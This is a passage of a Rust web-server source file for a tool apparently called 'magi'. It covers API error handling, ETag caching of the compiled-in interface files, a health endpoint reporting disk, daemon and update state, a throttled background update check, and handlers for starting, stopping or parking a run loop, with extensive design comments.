1745    o[0] == 100 && (64..=127).contains(&o[1])
1746}
1747
1748/// What every handler returns. Spelled out because `Result` in this crate is
1749/// `anyhow::Result`, and a handler's error is a status code as much as a
1750/// message.
1751type ApiResult<T> = std::result::Result<T, ApiError>;
1752
1753/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1754#[derive(Debug)]
1755struct ApiError {
1756    status: StatusCode,
1757    message: String,
1758}
1759
1760impl ApiError {
1761    /// The client asked for something malformed.
1762    fn bad_request(message: impl Into<String>) -> Self {
1763        Self {
1764            status: StatusCode::BAD_REQUEST,
1765            message: message.into(),
1766        }
1767    }
1768
1769    /// No such run or task.
1770    fn not_found(message: impl Into<String>) -> Self {
1771        Self {
1772            status: StatusCode::NOT_FOUND,
1773            message: message.into(),
1774        }
1775    }
1776
1777    /// Someone else owns the thing the client wants to change.
1778    /// Re-badge an error whose default mapping is wrong for this route.
1779    fn with_status(mut self, status: StatusCode) -> Self {
1780        self.status = status;
1781        self
1782    }
1783
1784    /// A rules violation from a domain type, reported as the caller's fault.
1785    /// `Question::answer` rejects an unoffered choice, and that is a bad
1786    /// request, not a server error.
1787    fn bad_request_from(e: anyhow::Error) -> Self {
1788        Self::bad_request(format!("{e:#}"))
1789    }
1790
1791    fn conflict(message: impl Into<String>) -> Self {
1792        Self {
1793            status: StatusCode::CONFLICT,
1794            message: message.into(),
1795        }
1796    }
1797
1798    /// Our fault, or the disk's.
1799    fn internal(message: impl Into<String>) -> Self {
1800        Self {
1801            status: StatusCode::INTERNAL_SERVER_ERROR,
1802            message: message.into(),
1803        }
1804    }
1805}
1806
1807impl From<anyhow::Error> for ApiError {
1808    /// Errors from `queue` and `run` carry their context chain, and the whole
1809    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1810    /// value at line 3" is a message an operator can act on, and there is no
1811    /// secret in a path on a single-user tailnet.
1812    fn from(e: anyhow::Error) -> Self {
1813        Self::internal(format!("{e:#}"))
1814    }
1815}
1816
1817impl IntoResponse for ApiError {
1818    fn into_response(self) -> Response {
1819        let body = serde_json::json!({ "error": self.message });
1820        (self.status, Json(body)).into_response()
1821    }
1822}
1823
1824/// Run a handler's filesystem work off the executor.
1825///
1826/// Every route that touches the disk goes through here rather than each one
1827/// arguing about whether its own read is small enough. Uniform because the
1828/// expensive case is not rare: `run.json` for a finished competition holds
1829/// every judgement, deliberation turn and review round, so listing a few
1830/// hundred runs is megabytes of parsing, and the executor threads doing it are
1831/// the same ones serving the change stream of every other connected phone.
1832async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1833where
1834    T: Send + 'static,
1835{
1836    #[cfg(test)]
1837    let job = request_cost::carry(job);
1838    match tokio::task::spawn_blocking(job).await {
1839        Ok(result) => result,
1840        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1841    }
1842}
1843
1844/// Cache policy for the three compiled-in front-end files.
1845///
1846/// The whole interface is `include_str!`ed into the binary, so its content
1847/// changes only when the binary does - and a phone that keeps a copy is
1848/// welcome to, right up until the deck is replaced. Without a single cache
1849/// header, browsers were free to invent their own policy, and one did:
1850/// yukimemi's phone went on showing "Candidates must be folded before
1851/// deleting. Run `magi fold` first." - a sentence deleted two releases
1852/// earlier - from a run detail served by a deck that no longer contained it.
1853/// The delete button he was told about was right there, and unreachable.
1854///
1855/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1856/// every time, the answer is a 304 costing one small round trip while the
1857/// deck is unchanged, and the moment it is replaced the tag differs and the
1858/// new interface arrives. Correctness over bytes - this is one file of a few
1859/// tens of kilobytes on a tailnet, and being a version behind is not a
1860/// cosmetic problem when the difference is whether a button exists.
1861const ASSET_CACHE: &str = "no-cache, must-revalidate";
1862
1863/// `ETag` for the compiled-in assets, distinct per build.
1864///
1865/// The version alone would leave a locally built deck - `cargo install
1866/// --path .` twice at the same version, which is the normal way to iterate -
1867/// serving a stale tag for changed bytes. The build timestamp is what makes
1868/// two builds of `0.3.0` differ.
1869fn asset_etag() -> &'static str {
1870    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1871        format!(
1872            "\"{}-{}\"",
1873            env!("CARGO_PKG_VERSION"),
1874            // Length is a cheap, deterministic stand-in for a hash: the
1875            // three files are compiled in together, so any edit to any of
1876            // them almost certainly changes the total, and a rebuild is what
1877            // this needs to track rather than every possible byte pattern.
1878            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1879        )
1880    });
1881    &TAG
1882}
1883
1884/// Headers for a compiled-in asset of `mime`.
1885fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1886    [
1887        (header::CONTENT_TYPE, mime),
1888        (header::CACHE_CONTROL, ASSET_CACHE),
1889        (header::ETAG, asset_etag()),
1890    ]
1891}
1892
1893/// Serve a compiled-in asset, answering `304` when the client already has it.
1894///
1895/// axum does not compare `If-None-Match` for us, and a header the server sets
1896/// but never honours is worse than none: the phone revalidates on every load
1897/// and is handed the whole file back each time. Doing the comparison is what
1898/// makes `must-revalidate` cost one small round trip rather than the
1899/// interface.
1900fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1901    let tag = asset_etag();
1902    let known = headers
1903        .get(header::IF_NONE_MATCH)
1904        .and_then(|v| v.to_str().ok())
1905        // A revalidating client may send several, and a proxy may weaken the
1906        // tag to `W/"..."`; matching on containment covers both without
1907        // parsing the grammar.
1908        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1909    if known {
1910        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1911    }
1912    (asset_headers(mime), body).into_response()
1913}
1914
1915async fn index(headers: header::HeaderMap) -> Response {
1916    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1917}
1918
1919async fn app_css(headers: header::HeaderMap) -> Response {
1920    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1921}
1922
1923async fn app_js(headers: header::HeaderMap) -> Response {
1924    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1925}
1926
1927/// What `/api/health` answers.
1928#[derive(Debug, Serialize)]
1929struct HealthView {
1930    version: &'static str,
1931    home: String,
1932    queue_rev: u64,
1933    runs_rev: u64,
1934    /// The same revisions [`events`] streams for the question and talk
1935    /// stores.
1936    ///
1937    /// Here because this route is what the front end falls back to when the
1938    /// change stream is not up - it re-polls health on a timer and on wake, and
1939    /// takes the revisions from the answer. Without these the fallback
1940    /// compares `undefined` against `undefined` for both stores, decides
1941    /// nothing moved, and a phone with a dead stream never learns that a
1942    /// question was asked or that a talk took a turn. `queue_rev` and
1943    /// `runs_rev` above have always been here for exactly this reason; the rule
1944    /// is that every revision the stream carries, this route carries too.
1945    questions_rev: u64,
1946    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1947    talks_rev: u64,
1948    /// See [`HealthView::questions_rev`]. The notification centre's store.
1949    notifications_rev: u64,
1950    /// Notifications nobody has read yet: the bell's badge before
1951    /// `/api/notifications` has answered.
1952    notifications_unread: usize,
1953    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1954    /// is not on disk anywhere, so a phone with no change stream has no other
1955    /// way to notice that the loop it is waiting on was started from another
1956    /// device.
1957    loop_rev: u64,
1958    /// Runs on disk whose state this build cannot parse - almost always a
1959    /// schema bump, occasionally a run killed mid-write.
1960    ///
1961    /// Reported because the list silently skips them, and "no competitions
1962    /// yet" is a lie when six of them are sitting in the runs directory. The
1963    /// terminal deck learned the same lesson: a run that fails to parse must
1964    /// not disappear from the count.
1965    runs_unreadable: usize,
1966    /// The disk, and what the runs and their worktrees occupy on it.
1967    ///
1968    /// This is the incident the janitor exists for: magi alone put 30 GB into
1969    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1970    /// is exactly where the operator learns "the disk is the constraint" -
1971    /// the diagnosis that a run is being held for want of space has to be
1972    /// checkable on the same screen.
1973    disk: DiskView,
1974    /// Questions nobody has answered yet, including ones an owner talked
1975    /// back on and is now waiting for the agent's reply to. A round trip
1976    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1977    /// while the ball is in the agent's court - see
1978    /// [`crate::ask::Questions::count_open`].
1979    questions_open: usize,
1980    /// Of those, how many actually need the owner right now: open, and not
1981    /// [`crate::ask::Question::waiting_on_agent`].
1982    ///
1983    /// The one number that means "nothing will happen until a human acts" -
1984    /// a parked run consumes nothing and progresses never - and the count the
1985    /// ask bar, the nav badge and the document title fall back to before
1986    /// `/api/questions` has answered, so those notification channels clear
1987    /// the instant the owner asks back and reappear the instant the agent
1988    /// replies, instead of sitting lit for however long the agent thinks.
1989    questions_needs_owner: usize,
1990    daemon: DaemonView,
1991    /// The loop in this process, exactly what `/api/loop` answers with.
1992    ///
1993    /// Here so a phone that has just woken needs one request to know whether
1994    /// anything is going to happen at all: `daemon` says a loop is alive
1995    /// somewhere, and this says whether it is one this UI can stop.
1996    #[serde(rename = "loop")]
1997    looping: LoopView,
1998    /// Whether a release newer than this build is known, and which.
1999    ///
2000    /// From [`updater::Checker::cached_update`] - the same throttled state the
2001    /// CLI's `notify` mode banners from - never a live check: this route is
2002    /// polled every few seconds, and a live check on each poll would spend
2003    /// GitHub's rate limit before the operator finished reading the strip.
2004    update: UpdateView,
2005    /// The self-upgrade this deck last set in motion, or `null` before the
2006    /// first one. Read off disk, so the successor can report what its
2007    /// predecessor started.
2008    upgrade: Option<UpgradeProgressView>,
2009}
2010
2011/// What `/api/health` knows about a release newer than this build.
2012///
2013/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2014/// is already the newest" from "never checked" - both are `None` - and the
2015/// phone needs to tell those apart to decide whether the deck can be trusted
2016/// to have an opinion at all.
2017#[derive(Debug, Serialize)]
2018struct UpdateView {
2019    /// A newer release is known to exist.
2020    available: bool,
2021    /// Its tag, when `available`.
2022    to: Option<String>,
2023}
2024
2025/// [`updater::Progress`] as `/api/health` reports it.
2026#[derive(Debug, Serialize)]
2027struct UpgradeProgressView {
2028    stage: updater::Stage,
2029    from: String,
2030    to: Option<String>,
2031    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2032    /// the step it is finishing before the address is handed over.
2033    waiting_on: Option<String>,
2034    started_at: Timestamp,
2035    updated_at: Timestamp,
2036    detail: Option<String>,
2037    /// Seconds the stage has outlived its allowance, when it has - see
2038    /// [`updater::stall`]. `null` while the stage is moving normally.
2039    stuck_for_secs: Option<i64>,
2040    /// Which kind of stuck: `never_entered` (hand_over left no record of
2041    /// starting) or `stopped_beating`. `null` when not stuck.
2042    stuck_kind: Option<updater::StallKind>,
2043    /// `hand_over` is alive and waiting on the loop: however long that takes,
2044    /// it is not an overdue upgrade.
2045    handover_alive: bool,
2046}
2047
2048/// Whether [`run_update_recheck`] may act at all this tick.
2049///
2050/// The same two conditions [`updater::Checker::new`] and
2051/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2052/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2053/// GitHub from this process" - on a button press or on a timer alike.
2054fn should_spawn_recheck(cfg: &Update) -> bool {
2055    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2056}
2057
2058/// Whether this tick should actually reach the network, once checking itself
2059/// is allowed.
2060///
2061/// An upgrade already in flight must not be raced by a check that discovers
2062/// a *newer* release while one is still installing - a phone watching
2063/// `/api/health` would see the answer change out from under the upgrade it
2064/// already asked for. Past that, [`updater::Checker::should_check`] is the
2065/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2066/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2067/// polling period, is what keeps this task's network use to at most once per
2068/// `[update] interval` regardless of how often it wakes up.
2069fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2070    if progress.is_some_and(|p| !p.stage.terminal()) {
2071        return false;
2072    }
2073    checker.should_check()
2074}
2075
2076/// How long [`run_update_recheck`] sleeps before its next wake-up.
2077///
2078/// A fraction of the configured `[update] interval` rather than a fixed
2079/// number: a fixed sleep longer than a short custom interval would leave the
2080/// deck waiting on its own wake-up rather than on `should_check`, so an
2081/// operator who set `interval = "1m"` to make the UI catch up quickly would
2082/// not see that take effect until the next restart - exactly the bug this
2083/// task exists to fix, just moved one level down. Scaling with the interval
2084/// keeps the wake-up prompt relative to what was actually configured, while
2085/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2086/// still what caps the network calls themselves at one per interval,
2087/// regardless of how often this fires.
2088fn recheck_poll_period(cfg: &Update) -> Duration {
2089    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2090}
2091
2092/// Keep `/api/health`'s `update` field current for as long as `magi web`
2093/// stays up.
2094///
2095/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
2096/// which is enough for every other command: they exit in seconds. `magi web`
2097/// can run for days, so a single startup check leaves the cache - and the
2098/// phone's "Update & restart" button, which reads it via
2099/// [`cached_update_view`] - frozen on whatever that one look found, however
2100/// many releases ship afterwards. This is what notices the rest of them,
2101/// re-reading the config each tick so a `magi.toml` edit while the server is
2102/// up takes effect without a restart, the same way every other route here
2103/// already does - both for whether checking is on at all and for how long
2104/// the next sleep should be.
2105///
2106/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
2107/// "install"`: swapping the running binary out from under a task or a run
2108/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
2109/// not as a side effect of a timer nobody asked to fire. This only ever
2110/// calls [`updater::Checker::newer_release`], which refreshes
2111/// `last_update_check.json` and nothing else - so under `mode = "install"`
2112/// this behaves like `notify` for as long as the deck stays up, and an
2113/// actual self-install still happens exactly where it always has: once, at
2114/// the next process start.
2115async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2116    loop {
2117        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2118        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2119        if !should_spawn_recheck(&cfg.update) {
2120            continue;
2121        }
2122        let Some(checker) = updater::Checker::new(&cfg.update) else {
2123            continue;
2124        };
2125        let progress = updater::read_progress(&home);
2126        if !update_recheck_due(&checker, progress.as_ref()) {
2127            continue;
2128        }
2129        if let Err(e) = checker.newer_release().await {
2130            tracing::warn!("background update recheck failed: {e:#}");
2131        }
2132    }
2133}
2134
2135/// [`UpdateView`] from the same throttled, disk-only state
2136/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2137/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2138/// no cached state at all, which is correct: an operator who turned checking
2139/// off gets no opinion, not a stale one.
2140fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2141    let default;
2142    let cfg = match cfg {
2143        Some(cfg) => cfg,
2144        None => {
2145            default = Config::default();
2146            &default
2147        }
2148    };
2149    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2150    match latest {
2151        Some(latest) => UpdateView {
2152            available: true,
2153            to: Some(latest.tag_name),
2154        },
2155        None => UpdateView {
2156            available: false,
2157            to: None,
2158        },
2159    }
2160}
2161
2162/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2163/// from the parked run's own state when the stage is
2164/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2165/// already on disk in `run.json`, so this reads them fresh rather than
2166/// trusting whatever was true the moment the park was requested.
2167fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2168    let now = Timestamp::now();
2169    let lease = updater::read_lease(&ui.home);
2170    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2171    let run_id = alive
2172        .and_then(|l| l.parked_run.as_deref())
2173        .or(progress.parked_run.as_deref());
2174    let parking = progress.stage == updater::Stage::Parking;
2175    let waited = alive.map_or_else(String::new, |l| {
2176        let secs = updater::waited_secs(l, now);
2177        format!(" (waited {} min so far)", secs / 60)
2178    });
2179    let run_text = run_id
2180        .filter(|_| parking)
2181        .map(|id| match read_run(&ui.runs, id).ok() {
2182            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2183            None => format!("run {id} is finishing"),
2184        });
2185    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2186        .filter(|t| parking && !t.is_empty())
2187        .map(|t| format!("{t} finishing"));
2188    let waiting_on = match (run_text, talks_text) {
2189        (None, None) => None,
2190        (run, talks) => {
2191            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2192            Some(format!(
2193                "{} before the address is handed over{waited}",
2194                parts.join(" and ")
2195            ))
2196        }
2197    };
2198    let detail = progress
2199        .detail
2200        .clone()
2201        .or_else(|| updater::read_note(&ui.home, &progress));
2202    let stalled = updater::stall(&progress, lease.as_ref(), now);
2203    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2204    UpgradeProgressView {
2205        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2206        stuck_kind: stalled.map(|s| s.kind),
2207        handover_alive: alive.is_some(),
2208        stage: progress.stage,
2209        from: progress.from,
2210        to: progress.to,
2211        waiting_on,
2212        started_at: progress.started_at,
2213        updated_at: progress.updated_at,
2214        detail,
2215    }
2216}
2217
2218/// The disk figures `/api/health` carries. Every number is produced by
2219/// [`crate::disk`], the same code that decides a run may not start, so the
2220/// health screen and the gate cannot disagree about what the machine looks
2221/// like.
2222#[derive(Debug, Serialize)]
2223struct DiskView {
2224    /// Free bytes on the volume holding the runs, when measurable.
2225    #[serde(skip_serializing_if = "Option::is_none")]
2226    free_bytes: Option<u64>,
2227    /// Everything the runs directory occupies, unreadable runs included.
2228    runs_bytes: u64,
2229    /// Everything the runs' worktrees occupy.
2230    worktrees_bytes: u64,
2231    /// The shared build cache's size, when the config names one.
2232    #[serde(skip_serializing_if = "Option::is_none")]
2233    cache_bytes: Option<u64>,
2234}
2235
2236impl DiskView {
2237    /// Measure the three directories and re-read the config's cache.
2238    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2239        let cache_bytes = cfg
2240            .and_then(|cfg| cfg.cache_dir())
2241            .map(|dir| crate::disk::dir_size(&dir));
2242        Self {
2243            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2244            runs_bytes: crate::disk::dir_size(&ui.runs),
2245            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2246            cache_bytes,
2247        }
2248    }
2249}
2250
2251/// The daemon's state as the UI presents it.
2252#[derive(Debug, Serialize)]
2253struct DaemonView {
2254    running: bool,
2255    idle: Option<bool>,
2256    pid: Option<u32>,
2257    /// Every task and run currently in flight. Empty when idle; more than
2258    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2259    /// run going at once.
2260    current: Vec<daemon::Current>,
2261    completed: Option<u64>,
2262    stale_for_secs: Option<i64>,
2263}
2264
2265impl DaemonView {
2266    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2267    /// not this UI's — a crashed daemon must not look alive here while
2268    /// `doctor` calls it dead.
2269    fn of(status: Option<daemon::Reading>) -> Self {
2270        let Some(status) = status else {
2271            return Self {
2272                running: false,
2273                idle: None,
2274                pid: None,
2275                current: Vec::new(),
2276                completed: None,
2277                stale_for_secs: None,
2278            };
2279        };
2280        let now = Timestamp::now();
2281        let age = status.age_secs(now);
2282        Self {
2283            running: status.running(now),
2284            idle: Some(status.idle),
2285            pid: status.pid,
2286            current: status.current,
2287            completed: Some(status.completed),
2288            stale_for_secs: age,
2289        }
2290    }
2291}
2292
2293async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2294    blocking(move || {
2295        // One read of the status file for the two fields that describe it, so
2296        // `daemon` and `loop` in the same answer cannot disagree about who is
2297        // running the loop.
2298        let reading = daemon::read_status(&ui.home);
2299        // Read on its own line, not inside the literal below: the loop's lock
2300        // is not reentrant, and a guard taken as a temporary there would still
2301        // be held when `loop_view` took it again.
2302        let loop_rev = ui.lock_loop().rev;
2303        // One discover for both views: each is a few git processes plus a
2304        // config render, and neither depends on anything the other reads.
2305        let cfg = deputy_config(&ui.repo);
2306        let update = cached_update_view(cfg.as_ref());
2307        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2308        Ok(Json(HealthView {
2309            version: env!("CARGO_PKG_VERSION"),
2310            home: ui.home.display().to_string(),
2311            queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2312            runs_rev: runs_revision(&ui.runs),
2313            questions_rev: ui.questions.revision(),
2314            talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2315            notifications_rev: ui.notices.revision(),
2316            notifications_unread: ui.notices.count_unread(),
2317            loop_rev,
2318            runs_unreadable: runs_unreadable(&ui.runs),
2319            questions_open: ui.questions.count_open(),
2320            questions_needs_owner: ui.questions.count_needs_owner(),
2321            daemon: DaemonView::of(reading.clone()),
2322            looping: ui.loop_view(reading),
2323            disk: DiskView::of(&ui, cfg.as_ref()),
2324            update,
2325            upgrade,
2326        }))
2327    })
2328    .await
2329}
2330
2331/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2332#[derive(Debug, Serialize)]
2333struct LoopView {
2334    /// A loop is running in *this* process.
2335    running: bool,
2336    /// It has been asked to stop and is still finishing a run.
2337    ///
2338    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2339    /// because the two differ exactly where it matters: a loop asked to stop
2340    /// while idle is gone within one poll interval, and one asked to stop
2341    /// mid-run keeps going for as long as the graph takes. The operator needs
2342    /// to be told which of those they are waiting for.
2343    stopping: bool,
2344    /// A park was asked for: the run in flight stops at its next node
2345    /// boundary rather than finishing.
2346    ///
2347    /// Separate from `stopping` because the two promise different waits. A
2348    /// stop is "when this competition ends", which can be an hour; a park is
2349    /// "after the step it is on", which is minutes and is what an operator
2350    /// waiting to replace the binary needs to see.
2351    parking: bool,
2352    /// The loop is this process's own.
2353    ///
2354    /// Spelled separately from `running` for the front end's sake, even
2355    /// though inside this process the two move together: `running: false`
2356    /// with `daemon.running: true` is the case where the operator's own `magi
2357    /// serve` owns the loop, and `owned` is the field that tells the UI its
2358    /// buttons have to explain that rather than pretend.
2359    owned: bool,
2360    /// Repository the loop uses for tasks that name none - what it was
2361    /// started with while it runs, and what a start would use before that.
2362    repo: String,
2363    /// Merge mode override in force, or `null` when each repository's own
2364    /// config decides.
2365    merge: Option<String>,
2366    /// Why the last loop in this process ended, when it ended badly.
2367    ///
2368    /// The only place a crashed loop is visible to someone holding a phone.
2369    /// It is logged at error level as well, but a terminal nobody kept open
2370    /// is not a report, and a loop that died at 3am must not read as merely
2371    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2372    /// answers the same question about the same kind of failure.
2373    last_error: Option<String>,
2374    /// The status file, judged the same way `/api/health` judges it: this is
2375    /// what says whether a loop is alive in some *other* process.
2376    daemon: DaemonView,
2377}
2378
2379/// A loop another process already owns.
2380///
2381/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2382/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2383/// published by a pid that is not ours. Excluding our own pid is what makes
2384/// stopping work at all - the loop this process runs writes that file too, so
2385/// a check that ignored the pid would decide the operator's own UI was a
2386/// stranger and refuse to stop the loop it had just started.
2387#[derive(Debug, Clone, Copy)]
2388struct Foreign {
2389    /// The pid the other process published, when it published one.
2390    pid: Option<u32>,
2391}
2392
2393impl Foreign {
2394    /// Another process's live loop, or `None` when this process is free to
2395    /// run one.
2396    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2397        // A fresh heartbeat with no pid in it is still evidence of a live
2398        // daemon. "Some other process" is the honest answer, and refusing
2399        // to start beside it is the safe one.
2400        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2401    }
2402
2403    /// How a conflict names it. The pid is the whole point of the message: it
2404    /// is what the operator needs to find the terminal that owns the loop.
2405    fn who(&self) -> String {
2406        match self.pid {
2407            Some(pid) => format!("another magi process (pid {pid})"),
2408            None => "another magi process".to_owned(),
2409        }
2410    }
2411}
2412
2413/// How a loop is started, as a future this module can hold onto.
2414///
2415/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2416/// trait object or a hand-written `Debug` impl for the sake of one seam.
2417type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2418
2419/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2420fn launch_daemon(
2421    opts: daemon::Opts,
2422    stop: daemon::Stop,
2423) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2424    Box::pin(daemon::serve_until(opts, stop))
2425}
2426
2427/// The loop this process runs, behind one lock.
2428#[derive(Debug, Default)]
2429struct LoopState {
2430    /// The loop, while there is one.
2431    live: Option<Live>,
2432    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2433    ///
2434    /// The loop is in-process state rather than a file, so nothing on disk
2435    /// would tell a second phone that the first one started it. Without this
2436    /// counter the only way to learn about a start, a stop request or a crash
2437    /// would be to poll `/api/loop`, which is the thing the change stream
2438    /// exists to avoid on a mobile link.
2439    rev: u64,
2440    /// Why the last loop ended, when it ended badly. See
2441    /// [`LoopView::last_error`].
2442    last_error: Option<String>,
2443    /// The loop was running (and not already stopping) when the last upgrade
2444    /// parked it, so the successor should start one. Set afresh by every
2445    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2446    /// update.
2447    resume_after_handover: bool,
2448}
2449
2450/// A loop in flight.
2451#[derive(Debug)]
2452struct Live {
2453    /// The cooperative stop, shared with the loop task.
2454    stop: daemon::Stop,
2455    /// The task itself, kept only to answer whether it is still there: a loop
2456    /// that panicked never records its own end, and without this the view
2457    /// would go on reporting a loop that no longer exists - the one lie that
2458    /// would leave the operator with no button to press.
2459    handle: tokio::task::JoinHandle<()>,
2460    /// What the loop was started with, so the view reports the repository and
2461    /// merge mode its runs will actually use rather than what an edit to the
2462    /// config since would give.
2463    opts: daemon::Opts,
2464}
2465
2466impl Live {
2467    /// Is the task still there? See [`Live::handle`].
2468    fn alive(&self) -> bool {
2469        !self.handle.is_finished()
2470    }
2471}
2472
2473/// Take the loop lock, recovering from a poisoned one.
2474///
2475/// What this mutex holds is a stop flag, a task handle and two counters, none
2476/// of which a panic elsewhere can leave in a state worth refusing to read.
2477/// Propagating the poison instead would mean an operator who can see the loop
2478/// running and can no longer stop it from the only surface they have.
2479fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2480    state.lock().unwrap_or_else(PoisonError::into_inner)
2481}
2482
2483/// `GET /api/loop`.
2484async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2485    blocking(move || {
2486        let reading = daemon::read_status(&ui.home);
2487        Ok(Json(ui.loop_view(reading)))
2488    })
2489    .await
2490}
2491
2492/// The body of `POST /api/loop`.
2493///
2494/// One required field and nothing else: no `default` and no unknown fields,
2495/// so a body that fails to say which way the switch was flipped is a 400
2496/// rather than a tap that quietly does the opposite of what was pressed.
2497#[derive(Debug, Deserialize)]
2498#[serde(deny_unknown_fields)]
2499struct LoopCommand {
2500    running: bool,
2501    /// Stop the run in flight at its next node boundary rather than letting it
2502    /// finish.
2503    ///
2504    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2505    /// competition is tens of minutes of paid work and finishing it is
2506    /// normally the cheapest thing to do. A park is for the operator who
2507    /// wants the process gone now - to replace the binary, most of all - and
2508    /// it costs at most the node in progress because every node writes its
2509    /// state before the next one starts.
2510    #[serde(default)]
2511    park: bool,
2512}
2513
2514/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2515///
2516/// Answers with the view rather than waiting for the loop to reach the state
2517/// that was asked for. Starting is immediate anyway; stopping is not, and the
2518/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2519/// request open for. `stopping` in the answer is what the operator watches
2520/// instead.
2521async fn loop_post(
2522    State(ui): State<Arc<Ui>>,
2523    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2524) -> ApiResult<Json<LoopView>> {
2525    // Taken as a `Result` so a malformed body is a 400 like every other route
2526    // here, rather than axum's default 422 that the UI has no branch for.
2527    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2528    blocking(move || {
2529        let reading = daemon::read_status(&ui.home);
2530        let foreign = Foreign::of(reading.as_ref());
2531        if body.running {
2532            ui.start_loop(foreign)?;
2533        } else {
2534            ui.stop_loop(foreign, body.park)?;
2535        }
2536        Ok(Json(ui.loop_view(reading)))
2537    })
2538    .await
2539}
2540
2541/// What `POST /api/upgrade` set in motion.
2542#[derive(Debug, Serialize)]
2543struct UpgradeView {
2544    /// The version this process is running.
2545    from: String,
2546    /// The release it is replacing itself with, when there is one.
2547    to: Option<String>,
2548    /// A run was parked first, and this is its id.
2549    parked: Option<String>,
2550    /// What the operator should expect to happen next.
2551    detail: String,
2552}
2553
2554/// The stage of an upgrade that is still moving, if the record says so.
2555/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
2556fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2557    progress.filter(|p| !p.stage.terminal())
2558}
2559
2560/// `POST /api/upgrade` - replace this binary with the newest release and come
2561/// back on it.
2562///
2563/// The one thing the deck could not do for itself. Every fix landed today
2564/// either waited for a competition to end or went in with the deck stopped,
2565/// because `cargo install` cannot overwrite a running executable on Windows.
2566/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2567/// the new one in its place, so the swap itself needs no downtime. Only the
2568/// restart does, and the order is the whole design:
2569///
2570/// 1. **Park.** A run in flight stops at its next node boundary and stays
2571///    resumable, so this costs at most the node in progress rather than the
2572///    competition. Without it the honest choices were waiting an hour or
2573///    discarding paid agent work.
